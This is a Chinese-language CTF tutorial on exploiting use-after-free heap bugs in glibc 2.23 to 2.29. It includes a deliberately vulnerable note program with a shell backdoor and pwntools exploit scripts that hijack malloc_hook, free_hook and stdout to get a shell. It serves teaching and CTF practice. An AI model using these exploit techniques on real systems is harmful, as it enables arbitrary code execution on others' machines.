前言
一般来说UAF都是比较好利用的,尤其是在有tcache的版本下,2.32之前,没有对fd做任何检查,也没有对size做任何检查,那么直接改fd就能想申请哪儿就申请哪儿。但是这里就面临地址的问题,所以高版本下的UAF常常不会给你Show函数,通常结合FSOP来爆破泄露地址。而低版本的,没有tcache的时候,不给show函数会更加困难,因为fastbin attack会检查size位,通常还需要伪造。
这里就2.23~2.32版本的UAF做个总结利用,各个条件的缩减。
一、题目及调试脚本
▲首先给出自己为了方便调试写的题和对应的exp,存在UAF,堆溢出,后门,malloc和calloc切换等多个漏洞,但是去除了Double free参考note题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 #include <stdio.h> #include <stdlib.h> #include <unistd.h> char * notelist[1000 ];int * freelist[1000 ];int count = 0 ;void backdoor () { puts ("You hacked me!!" ); system("/bin/sh" ); } void malloc_add_note () { int i = count; char buf[8 ]; int size; char * chunk; printf ("Note size :" ); read(0 , buf, 8 ); size = atoi(buf); chunk = (char *)malloc (size); if (!chunk) { puts ("Alloca Error" ); exit (-1 ); } printf ("Content :" ); read(0 , chunk, size); puts ("Success!" ); notelist[i] = chunk; count++; } void calloc_add_note () { int i = count; char buf[8 ]; int size; char * chunk; printf ("Note size :" ); read(0 , buf, 8 ); size = atoi(buf); chunk = (char *)calloc (0x1 ,size); if (!chunk) { puts ("Alloca Error" ); exit (-1 ); } printf ("Content :" ); read(0 , chunk, size); puts ("Success!" ); notelist[i] = chunk; count++; } void del_note () { char buf[4 ]; int idx; printf ("Index :" ); read(0 , buf, 4 ); idx = atoi(buf); if (idx < 0 || idx >= count) { puts ("Out of bound!" ); return ; } if (notelist[idx] && (freelist[idx] != idx)) { free (notelist[idx]); freelist[idx] = idx; puts ("Success!" ); return ; } else { puts ("Can not double free!" ); return ; } } void print_note () { char buf[4 ]; int idx; printf ("Index :" ); read(0 , buf, 4 ); idx = atoi(buf); if (idx < 0 || idx >= count) { puts ("Out of bound!" ); return ; } if (notelist[idx]) { puts (notelist[idx]); return ; } } void edit_note () { char buf[8 ]; int idx; int size; printf ("Index :" ); read(0 , buf, 4 ); idx = atoi(buf); if (idx < 0 || idx >= count) { puts ("Out of bound!" ); return ; } printf ("Size :" ); read(0 , buf, 8 ); size = atoi(buf); if (notelist[idx]) { printf ("Content :" ); read(0 , notelist[idx], size); puts ("Success!" ); return ; } } void menu () { puts ("----------------------" ); puts (" MY NOTE " ); puts ("----------------------" ); puts (" 1. Malloc Add note " ); puts (" 2. Delete note " ); puts (" 3. Print note " ); puts (" 4. Edit note " ); puts (" 5. Calloc Add note " ); puts (" 6. Exit " ); puts ("--------Author:PIG-007" ); printf ("Your choice :" ); }; int main () { setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); freelist[0 ] = 1001 ; char * heap_leak = (char *)(malloc (0x438 )); printf ("Gift_Heap:%p\n" ,heap_leak); char * libc_leak = (char *)&printf ; printf ("Gift_Libc:%p\n" ,libc_leak); char * elf_leak = (char *)&main; printf ("Gift_elf:%p\n" ,elf_leak); free (heap_leak); heap_leak = NULL ; libc_leak = NULL ; elf_leak = NULL ; char buf[4 ]; while (1 ) { menu(); read(0 , buf, 4 ); switch (atoi(buf)) { case 1 : malloc_add_note(); break ; case 2 : del_note(); break ; case 3 : print_note(); break ; case 4 : edit_note(); break ; case 5 : calloc_add_note(); break ; case 6 : exit (0 ); break ; default : puts ("Invalid choice!" ); break ; } } return 0 ; }
对应exp设置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 from pwn import *import commandscontext.arch = 'amd64' context.timeout = 0.5 SigreturnFrame(kernel = 'amd64' ) binary = "./note" context.binary = binary libc = ELF(context.binary.libc.path) elf = ELF(binary) largeBinIdx = 1096 unsortedBinIdx = 88 local = 1 if local: p = process(binary) else : p = remote("node3.buuoj.cn" ,"49153" ) elf = ELF(binary) libc = ELF(libc_file) sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) u64Leakbase = lambda offset :u64(ru("\x7f" )[-6 : ] + '\0\0' ) - offset u32Leakbase = lambda offset :u32(ru("\xf7" )[-4 : ]) - offset it = lambda :p.interactive() def dockerDbg (): myGdb = remote("127.0.0.1" ,30001 ) myGdb.close() pause() def dbg (): gdb.attach(p) pause() def lg (string,addr ): print ('\033[1;31;40m%20s-->0x%x\033[0m' %(string,addr)) def add_malloc (size,content ): p.sendlineafter("Your choice :" ,'1' ) p.sendlineafter('Note size :' ,str (size)) p.sendafter('Content :' ,content) def free (idx ): p.sendlineafter("Your choice :" ,'2' ) p.sendlineafter('Index :' ,str (idx)) def show (idx ): p.sendlineafter("Your choice :" ,'3' ) p.sendlineafter('Index :' ,str (idx)) def edit (idx,size,content ): p.sendlineafter("Your choice :" ,'4' ) p.sendlineafter('Index :' ,str (idx)) p.sendlineafter('Size :' ,str (size)) p.sendafter('Content :' ,content) def add_calloc (size,content ): p.sendlineafter("Your choice :" ,'5' ) p.sendlineafter('Note size :' ,str (size)) p.sendafter('Content :' ,content) def exit (): p.sendlineafter("Your choice :" ,'6' ) def edit_m (idx,size,content ): sleep(0.01 ) p.sendline('4' ) sleep(0.01 ) p.sendline(str (idx)) sleep(0.01 ) p.sendline(str (size)) sleep(0.01 ) p.send(content) sleep(0.01 ) def free_m (idx ): sleep(0.01 ) p.sendline('2' ) sleep(0.01 ) p.sendline(str (idx)) sleep(0.01 ) def add_malloc_m (size,content ): sleep(0.01 ) p.sendline('1' ) sleep(0.01 ) p.sendline(str (size)) sleep(0.01 ) p.send(content) sleep(0.01 ) def tcacheDelete (idx ): for i in range (7 ): free(i+idx) def tcacheMalloc (size ): for i in range (7 ): add_malloc(size,'\x00' ) def leak_heap (): global largeBinIdx global unsortedBinIdx ru("Gift_Heap:0x" ) LeakHeap = int (rc(12 ),16 ) log.info("LeakHeap:0x%x" %LeakHeap) path = libc.path if ("2.23" in path): heap_base = LeakHeap - 0x10 elif ("2.24" in path): heap_base = LeakHeap - 0x10 elif ("2.25" in path): heap_base = LeakHeap - 0x10 elif ("2.26" in path): heap_base = LeakHeap - 0x250 - 0x10 largeBinIdx = 1104 unsortedBinIdx = 96 elif ("2.27" in path): heap_base = LeakHeap - 0x250 - 0x10 largeBinIdx = 1104 unsortedBinIdx = 96 elif ("2.28" in path): heap_base = LeakHeap - 0x250 - 0x10 largeBinIdx = 1104 unsortedBinIdx = 96 elif ("2.29" in path): heap_base = LeakHeap - 0x250 - 0x10 largeBinIdx = 1104 unsortedBinIdx = 96 elif ("2.30" in path): heap_base = LeakHeap - 0x290 - 0x10 largeBinIdx = 1104 unsortedBinIdx = 96 elif ("2.31" in path): heap_base = LeakHeap - 0x290 - 0x10 largeBinIdx = 1104 unsortedBinIdx = 96 elif ("2.32" in path): heap_base = LeakHeap - 0x290 - 0x10 largeBinIdx = 1104 unsortedBinIdx = 96 elif ("2.33" in path): heap_base = LeakHeap - 0x290 - 0x10 largeBinIdx = 1104 unsortedBinIdx = 96 else : print ("Version Wrong!" ) quit() return heap_base def leak_elf (): ru("Gift_elf:0x" ) Leak = int (rc(12 ),16 ) log.info("LeakElf:0x%x" %Leak) return Leak def leak_libc (): ru("Gift_Libc:0x" ) Leak = int (rc(12 ),16 ) log.info("LeakLibc:0x%x" %Leak) return Leak def getMain_arena (libc_base ): return libc_base+libc.sym['__malloc_hook' ]+0x10 def getOnegadget (): originStr=commands.getstatusoutput('one_gadget ' + context.binary.libc.path)[1 ] print originStr one_gadget = [] lstKey = [] lengthKey = 0 key = 'execve' countStr = originStr.count(key) if countStr < 1 : print ('No one_gadget' ) elif countStr == 1 : indexKey = originStr.find(key) one_gadget.append(int (originStr[indexKey-8 :indexKey-1 ],16 )) return one_gadget else : indexKey = originStr.find(key) lstKey.append(indexKey) while countStr > 1 : str_new = originStr[indexKey+1 :len (originStr)+1 ] indexKey_new = str_new.find(key) indexKey = indexKey+1 +indexKey_new lstKey.append(indexKey) countStr -= 1 for i in range (len (lstKey)): one_gadget.append(int (originStr[(lstKey[i]-8 ):lstKey[i]-1 ],16 )) return one_gadget def pwn (): heap_base = leak_heap() libc_base = leak_libc() - libc.sym['printf' ] elf_base = leak_elf() - elf.sym['main' ] log.info("heap_base:0x%x" %heap_base) log.info("libc_base:0x%x" %libc_base) log.info("elf_base:0x%x" %elf_base) add_malloc(0x1000 -0x290 -0x8 ,'PIG007NB' ) i = 0 while True : i = i + 1 try : p = process("./note" ) lg("Times:" ,i) pwn() except EOFError: p.close() continue except Exception: p.close() continue else : p.interactive() break
二、环境搭建
前言
众所周知,pwn的Glibc环境向来是一个难解题,很多大佬在编译不同版本的Glibc都很头疼,一个不注意就容易出错。像Github上的glibc-all-in-one
搭配patchelf
glibc-all-in-one
:matrix1001/glibc-all-in-one: 🎁A convenient glibc binary and debug file downloader and source code auto builder (github.com)
patchelf
:NixOS/patchelf: A small utility to modify the dynamic linker and RPATH of ELF executables (github.com)
对于很多人来说搞个虚拟机编译环境一个包没装好就容易挂掉,然后就GG,这实在是很浪费生命的一件事情。而patchelf
其实有时候也不太顶用,还有Docker
里的
pwnDocker
:skysider/pwndocker - Docker Image | Docker Hub
其实有时候也感觉不太好用,而且需要依靠作者更新,自己编译也容易出错。但是这倒是激发了我一个想法,为每个Libc版本搭建个docker容器,然后通过映射关系将题目映射进容器中,相当于只需要容器中的libc环境,这样就不需要考虑这些东西了。
项目
经过大量测试,自己写了一个小项目,适合所有Libc版本,只要docker hub中有对应libc版本的ubuntu容器,该容器对应的apt源还有在更新,就能用,跟自己本身环境没啥关系。实测所有版本都行,一键搭建,一键使用:
Github:PIG-007/pwnDockerAll (github.com)
Gitee:PIG-007/pwnDockerAll (gitee.com)
详情看项目里。
三、Glibc2.23
1.UAF + Leak + Size不做限制:
这种情况直接free进unsortedbin泄露地址,然后打fastbin attack,借助0x7f字节错位劫持malloc_hook即可,没啥技术含量。这里再说一些,其实0x56也是可以的,可以借助unsortedbin attack将堆地址写到一个地方然后字节错位也是可以的。
0x7f:0111 111 1
0x56:0101 011 0
主要看的是AM位,加粗的两位,不能刚好是10,检测:
(1)是否属于当前线程的main_arena
(2)是否是mmap出来的chunk的检测
所以按照道理来讲,尾数为4 5 c d四个系列不能通过检测,其他都可以的。而对于堆地址的随机性,0x56和0x55都是可能的,所以也不一定成功,同样需要爆破。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 one_gadget = getOnegadget() add_malloc(0x418 ,'PIG007NB' ) add_malloc(0x68 ,'PIG007NB' ) free(1 ) show(1 ) libc_base = u64Leakbase(88 + libc.sym['main_arena' ]) lg("libc_base" ,libc_base) free(2 ) edit(2 ,0x8 ,p64(libc_base + libc.sym['__malloc_hook' ]-0x23 )) add_malloc(0x68 ,'PIG007NB' ) for i in range (len (one_gadget)): lg("one_gadget[" +str (i)+"]" ,libc_base+one_gadget[i]) add_malloc(0x68 ,'\x00' *0x13 +p64(libc_base+one_gadget[])) p.sendline('1' ) p.sendline('1' ) p.sendline('1' ) p.interactive()
需要注意的是这里由于覆写了_IO_wide_data部分数据,有些数据可能打印不出来,直接一股脑发送信息申请堆块即可。至于one_gadget没办法用的,参照realloc_hook调整栈帧。
2.UAF + Leak + size限制
▲比如说size限制不能申请0x70大小的堆块,那么就没办法字节错位申请malloc_hook的地方。一般来说有以下几种情况:
(1)只能是小Chunk,即0x20~0x80:
泄露heap地址,修改FD,指向上一个chunk来修改size,释放进入unsortedbin后泄露得到libc地址,之后再借用0x7f的UAF字节错位申请即可到malloc_hook即可。
(2)只能是中等的chunk,大于fatsbin小于largebin的,即0x90~0x3f0。
泄露地址后,直接用unsortedbin attack,修改global_max_fast,然后利用fastbinY链在main_arean上留下size,申请过去修改top_chunk为malloc_hook-0x10或者malloc_hook-0x28,修复unsortedbin之后即可任意修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 one_gadget = getOnegadget() main_arena = libc.sym['main_arena' ] fastbinsY = main_arena + 8 target_addr = main_arena + 80 idx = (target_addr - fastbinsY) / 8 size = idx * 0x10 + 0x20 add_malloc(size-0x8 ,'PIG007NB' ) add_malloc(0x2f8 ,'PIG007NB' ) add_malloc(size+0x10 -0x8 ,'PIG007NB' ) add_malloc(0xf8 ,'PIG007NB' ) free(2 ) show(2 ) libc_base = u64Leakbase(unsortedBinIdx + libc.sym['main_arena' ]) lg("libc_base" ,libc_base) malloc_hook = libc_base + libc.sym['__malloc_hook' ] main_arena = libc_base + libc.sym['main_arena' ] target_addr = libc_base+libc.sym['global_max_fast' ] edit(2 ,0x18 ,p64(0x0 )+p64(target_addr-0x10 )) add_malloc(0x2f8 ,'\x00' ) free(1 ) edit(1 ,0x8 ,p64(size+0x10 +1 )) add_malloc(size-0x8 ,'PIG007NB' ) free(3 ) edit(3 ,0x8 ,p64(libc_base + libc.sym['main_arena' ] + 0x48 )) add_malloc(size+0x10 -0x8 ,'PIG007NB' ) add_malloc(size+0x10 -0x8 ,p64(malloc_hook-0x28 )+p64(0x0 )+p64(main_arena+88 )*2 ) add_malloc(0x98 ,p64(0x0 )*2 +p64(libc_base + one_gadget[1 ])+p64(libc_base+libc.sym['realloc' ]+8 )) p.sendline('1' ) p.sendline('1' ) p.sendline('1' ) it()
这里就利用realloc调整了一下栈帧
(3)只能是大chunk,即0x400~…
泄露地址后,直接用unsortedbin attack,修改global_max_fast,之后利用fastbinY机制可在free_hook附近伪造堆size,然后申请过去修改free_hook为system,释放堆块即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 main_arena = libc.sym['main_arena' ] fastbinsY = main_arena + 8 target_addr_binsY = libc.sym['__free_hook' ]-0x10 idx = (target_addr_binsY - fastbinsY) / 8 size = idx * 0x10 + 0x20 add_malloc(0x4f8 ,"\xaa" *0x4f8 ) add_malloc(0x4f8 ,'/bin/sh\x00' ) add_malloc(size-0x8 ,'PIG007NB' ) add_malloc(size+0x10 -0x8 ,'PIG007NB' ) free(1 ) show(1 ) libc_base = u64Leakbase(unsortedBinIdx + libc.sym['main_arena' ]) lg("libc_base" ,libc_base) target_addr = libc_base+libc.sym['global_max_fast' ] log.info("target_addr:0x%x" %target_addr) edit(1 ,0x4f8 ,p64(0x0 )+p64(target_addr-0x10 )) add_malloc(0x4f8 ,"\xaa" *0x4f8 ) free(3 ) edit(3 ,0x8 ,p64(size+0x10 +1 )) add_malloc(size-0x8 ,'PIG007NB' ) free(4 ) edit(4 ,0x8 ,p64(libc_base + target_addr_binsY -0x8 )) add_malloc(size+0x10 -0x8 ,'PIG007NB' ) add_malloc(size+0x10 -0x8 ,p64(0x0 )+p64(libc_base + libc.sym['system' ])) free(2 ) it()
(4)只能是某个特定大小的chunk,比如只能是0x40,0x60,一般不会只能是一个大小的,不然基本无法利用。
泄露地址heap地址后,修改size位进入unsortedbin中,再泄露libc地址。由于无法0x56和0x7f字节错位利用,所以只能利用一个size的bin,释放之后在fastbinY中留下size,然后另一个size申请过去,修改top_chunk到malloc_hook处即可,之后类似。
详情参照CISCN东北赛区复现中的题目small_chunk。
3.UAF + 无Leak + Size不做限制
▲无Leak通常需要爆破,同样用unsortedbin attack部分写unsortedbin中chunk的bk指针,修改global_max_fast,之后利用fastbinY机制劫持_IO_2_1_stdout_结构体,泄露出地址,然后就和之前一样,再利用fastbinY机制劫持free_hook即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 def pwn (): heap_base = leak_heap() libc_base = leak_libc() - libc.sym['printf' ] elf_base = leak_elf() - elf.sym['main' ] log.info("heap_base:0x%x" %heap_base) log.info("libc_base:0x%x" %libc_base) log.info("elf_base:0x%x" %elf_base) add_malloc(0x1000 -0x8 ,'PIG007NB' ) guess_libc = 0x9000 guess_heap = 0x2000 fastbinsY = guess_libc + libc.sym['main_arena' ] + 8 _IO_read_end = guess_libc + libc.sym['_IO_2_1_stdout_' ] + 0x10 _IO_write_base = guess_libc + libc.sym['_IO_2_1_stdout_' ] + 0x20 _IO_write_ptr = guess_libc + libc.sym['_IO_2_1_stdout_' ] + 0x28 _IO_write_end = guess_libc + libc.sym['_IO_2_1_stdout_' ] + 0x30 idx_read_end = (_IO_read_end - fastbinsY) / 8 size_read_end = idx_read_end * 0x10 + 0x20 idx_write_base = (_IO_write_base - fastbinsY) / 8 size_write_base = idx_write_base * 0x10 + 0x20 idx_write_ptr = (_IO_write_ptr - fastbinsY) / 8 size_write_ptr = idx_write_ptr * 0x10 + 0x20 idx_write_end = (_IO_write_end - fastbinsY) / 8 size_write_end = idx_write_end * 0x10 + 0x20 target_addr_gMF = guess_libc + libc.sym['global_max_fast' ] fastbinsY = libc.sym['main_arena' ] + 8 target_addr_binsY = libc.sym['__free_hook' ]-0x10 idx_free_hook = (target_addr_binsY - fastbinsY) / 8 size_free_hook = idx_free_hook * 0x10 + 0x20 add_malloc(0x38 ,"\x00" *0x38 ) add_malloc(0x38 ,"\x00" *0x38 ) add_malloc(0x38 ,"\x03" *0x38 ) add_malloc(0x38 ,'\x04' *0x18 +p64(0x21 )+'\x04' *0x18 ) free(0x1 ) free(0x3 ) edit(0x3 ,0x1 ,'\x20' ) edit(0x1 ,0x20 ,p64(0x0 )*3 +p64(0x41 )) add_malloc(0x38 ,'\x05' *0x18 +p64(0x21 )+'\x05' *0x18 ) add_malloc(0x38 ,'\x06' *0x18 ) add_malloc(size_write_end-0x8 ,(p64(0x0 )+p64(0x21 ))*((size_write_end-0x10 )/0x10 )) add_malloc(size_write_ptr-0x8 ,(p64(0x0 )+p64(0x21 ))*((size_write_ptr-0x10 )/0x10 )) add_malloc(0x38 ,"\x00" *0x38 ) add_malloc(0x38 ,"\xaa" *0x38 ) add_malloc(0x38 ,"\x0b" *0x38 ) add_malloc(0x38 ,'\x0c' *0x18 +p64(0x21 )+'\xaa' *0x18 ) free(0x9 ) free(0xb ) edit(0xb ,0x2 ,p16((guess_heap+0x1000 +0x40 )&0xffff )) edit(0x9 ,0x20 ,p64(0x0 )*3 +p64(0x41 )) add_malloc(0x38 ,'\x0d' *0x18 +p64(0x21 )+'\x05' *0x18 ) add_malloc(0x38 ,'\x0e' *0x18 ) add_malloc(size_free_hook-0x8 ,'PIG007NB' ) add_malloc(size_free_hook+0x10 -0x8 ,'PIG007NB' ) add_malloc(0x4f8 ,'\x11' *0x4f8 ) add_malloc(0x38 ,'\x12' *0x38 ) free(0x11 ) edit(0x11 ,0x8 +0x2 ,p64(0x0 )+p16((target_addr_gMF&0xffff )-0x10 )) add_malloc(0x4f8 ,'/bin/sh\x00' ) edit_m(0x6 ,0x20 ,p64(0x0 )*3 +p64(size_write_base+1 )) free_m(0xe ) free_m(0x7 ) free_m(0x8 ) edit_m(0x6 ,0x20 ,p64(0x0 )*3 +p64(size_read_end+1 )) free_m(0x2 ) libc_base = u64Leakbase(libc.sym['_IO_2_1_stdout_' ]+131 ) lg("libc_base" ,libc_base) free(0xf ) edit(0xf ,0x8 ,p64(size_free_hook+0x10 +1 )) add_malloc(size_free_hook-0x8 ,'PIG007NB' ) free(0x10 ) edit(0x10 ,0x8 ,p64(libc_base + target_addr_binsY -0x8 )) add_malloc(size_free_hook+0x10 -0x8 ,'PIG007NB' ) add_malloc(size_free_hook+0x10 -0x8 ,p64(0x0 )+p64(libc_base + libc.sym['system' ])) free(0x13 ) it() i = 0 while True : i = i + 1 try : p = process("./note" ) lg("Times:" ,i) pwn() except EOFError: p.close() continue else : p.interactive() break
▲通常需要注意的是,write_base和write_end不能相距太远,不然很容易数据量过大而崩溃。还有这里最后泄露地址是
libc_base = u64Leakbase(libc.sym[‘IO_2_1_stdout ‘]+131)
这是因为IO流的机制,会在写入数据的0x10处上写下libc.sym[‘IO_2_1_stdout ‘]+131的地址,所以这里直接就能泄露。
▲题外话:爆破的数学期望为1/256
4.UAF + 无Leak + Size做限制
▲同样size做限制一般也分为以下几种
(1)只能是小Chunk,即0x20~0x80:
这个也是一样的,利用UAF部分写入heap_addr制造堆块重叠,修改size域,放入unsortedbin,然后部分写入libc_addr打unsortedbin attack修改global_max_fast,之后就类似了,劫持_IO_2_1_stdout泄露地址,fastbinY机制劫持main_arena,修复unsortedbin后改top_chunk劫持malloc_hook即可。
(2)只能是中等的chunk,大于fatsbin小于largebin的,即0x90~0x3f0。
类似,部分写修改size域打unsortedbin attack,修改global_max_fast,劫持_IO_2_1_stdout泄露地址。fastbinY机制劫持free_hook。
(3)只能是大chunk,即0x400~…
直接用部分写libc_addr打unsortedbin attack,修改global_max_fast,劫持_IO_2_1_stdout泄露地址,之后利用fastbinY机制可在free_hook附近伪造堆size,然后申请过去修改free_hook为system,释放堆块即可。
(4)指定的chunk size。
▲其实对于UAF来说,size做没做限制都差不了太多,因为都可以部分写堆块地址制造堆重叠,然后就能修改size域,唯一区分的就是申请时候的限制,小的就打top_chunk,大的就直接打_free_hook。比较有意思的一点就是限制特定size,一般限制为两个,以前遇到0x20和0x30,也有0x40和0x50的,都是大同小异,借用fastbinY机制留下size后申请过去即可。
四、Glibc2.27
UAF在这个版本下对于tcache实在是好用,由于tcache不检查size位,也不检查FD,只要泄露了地址,加上UAF就能实现任意申请。而对于无show功能的,既可以借助unsortedbin踩下地址后爆破直接申请,也可以unsortedbin attack劫持global_fast_max之后再劫持IO_2_1_stdout结构泄露地址。
1.Sashing机制带来的改变
(1)加入的检查判断:
需要注意的一点是,由于加入了tcache的stahing机制,所以在从fastbin中申请时会有一个判断:
(这个在2.26开始就存在的,只不过可能代码不太一样,所以有tcache的地方,fastbin修改fd从而在main_arena上留下fd的功能就无法使用了)
由于tcache的stashing机制,如果从fastbin中取chunk,那么如果该大小的fastbin链中还有其他chunk,则会尝试将该大小的fastbin链中剩余的chunk都放入对应大小的tcache中,那么就会出现如上的对fastbin中的fd进行取出检查,这里我设置了fastbin中Chunk的fd为0x71,即rdx的值,导致出错。
1 2 3 4 5 *fb = tc_victim->fd; mov rax, qword ptr [rdx + 0x10 ]
这个代码以及汇编赋值,使得[rdx+0x10],即取0x71的fd指针,那肯定会出错。同样的,如果修改fastbin中chunk的fd也不再是简单地伪造size了,还需要考虑对应FD的fd指针有效性。
(2)对抗利用:
①have_fastchunks:
虽然FD不能留下伪造地址,但是可以释放一个chunk进入fastbin,将main_arena.have_fastchunks置1,之后利用main_arena.have_fastchunks留下的0x1在上面来申请0x100的字节错位,但是这个需要先修改global_max_fast才能申请0x100的fastbinChunk。
④top_chunk:
此外,借用爆破chunk地址,将top_chunk的0x56当作合法size也是可以的。
但是其实也没差,既然有tcache,那我还用fastbin申请干啥,直接tcache获得地址之后任意申请不就完了,除非全是calloc,但这种情况其实还有更方便的解法,即house of banana
。所以要是碰到2.27版本的,简直就是烧高香了。
2.Glibc2.27Tcache题外话:
现今版本,2020年09月10日开始,从2.27-3ubuntu1.3开始,就已经对tcache做了部分修改,很接近2.29的,而现在的题目基本都是基于这种增强型版本的,已经不存在double free了。
Glibc 2.27关于Tcache的增强保护 - 安全客,安全资讯平台 (anquanke.com)
新增如下:
(1)Key字段新增:
1 2 3 4 5 6 7 8 typedef struct tcache_entry { struct tcache_entry *next ; struct tcache_perthread_struct *key ; } tcache_entry;
同样的对应tcache_put会加入key字段,tcache_get中会清除key字段,_int_free函数会根据key字段 判断double free。
这里讲个小技巧,如果发现题目的libc.so版本在2.27-3ubuntu1.3之下,那么就没有key字段,存在无限制的double free,直接搞定。而常规的2.28版本其实也还存在double free,查看_int_free相关源码即可发现。
具体利用和绕过后面讲。
(2)Tcache数量限制
1 #define MAX_TCACHE_COUNT 127
这个没发现有啥用,传统的只有2.30开始才用到了这个,低版本连定义都没有,除了这个增强型的2.27
1 2 3 4 5 6 7 8 9 10 11 do_set_tcache_count (size_t value) { if (value <= MAX_TCACHE_COUNT) { LIBC_PROBE (memory_tunable_tcache_count, 2 , value, mp_.tcache_count); mp_.tcache_count = value; } return 1 ; }
这就很迷惑,通常定义的tcache_count是7,而这里却要求小于MAX_TCACHE_COUNT(127),是因为GNU的其他功能可能会改变tcache的结构吗,比如将tcache_count修改为127,扩大tcache来使用吗,等待大佬发现漏洞。
另外该文章中还说了realloc对应memcpy的使用修改,感觉没啥用。
总的来说,其实就相当于将2.27的tcache增强成了2.29,其他的到没啥变化。
五、Glibc2.29
1.部分手段失效
(1)unsortedbin attack失效
这个版本下的unsortedbin attck已经失效,原因是新增如下检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 #注释头 mchunkptr next = chunk_at_offset (victim, size); if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ) || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) malloc_printerr ("malloc(): invalid next size (unsorted)" ); if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)" ); if (__glibc_unlikely (bck->fd != victim) || __glibc_unlikely (victim->fd != unsorted_chunks (av))) malloc_printerr ("malloc(): unsorted double linked list corrupted" ); if (__glibc_unlikely (prev_inuse (next))) malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)" );
①下一个chunk的size是否在合理区间
②下一个chunk的prevsize是否等于victim的size
③检查unsortedbin双向链表的完整性
④下一个chunk的previnuse标志位是否为0
其实最要命的是检查双向链表的完整性,还得在目的地址的fd伪造victim,都能伪造地址了还用这,所以直接废弃。Tcache_Stashing_Unlink_Attack来类似代替unsortedbin attack,不过Tcache_Stashing_Unlink_Attack一般需要用到calloc,如果有UAF泄露地址的话倒是不太需要。
(2)top_chunk改写限制
新增检查:
1 2 3 4 #注释头 if (__glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): corrupted top size" );
即size需要小于等于system_mems = 0x21000。之前由top_chunk引发的一系列漏洞,类似House of orange,
House of Force以及之前提到的修改top_chunk到malloc_hook附近等,都不太行了。
(3)unlink方面一些限制
新增检查:
1 2 3 4 #注释头 if (__glibc_unlikely (chunksize(p) != prevsize)) * malloc_printerr ("corrupted size vs. prev_size while consolidating" );
即会判断找到的之前为Free状态的chunk和当前要释放chunk的prevsize是否相等
这个对于UAF方面来说没啥影响,因为UAF本身就基本直接造成堆块重叠,而unlink通常就是结合off-by-null来制造堆块重叠的。off-by-null和off-by-one之后开一个专门的来讨论。
(4)tcache方面的变化
①新增key字段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #注释头 typedef struct tcache_entry { struct tcache_entry *next ; struct tcache_perthread_struct *key ; } tcache_entry; tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0 ); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; }
即会在释放chunk的bk处加入key字段,一般为heap_base+0x10,即当前线程的tcache struct的地方。释放时赋值,申请回来时置零。
②新增的一些检查
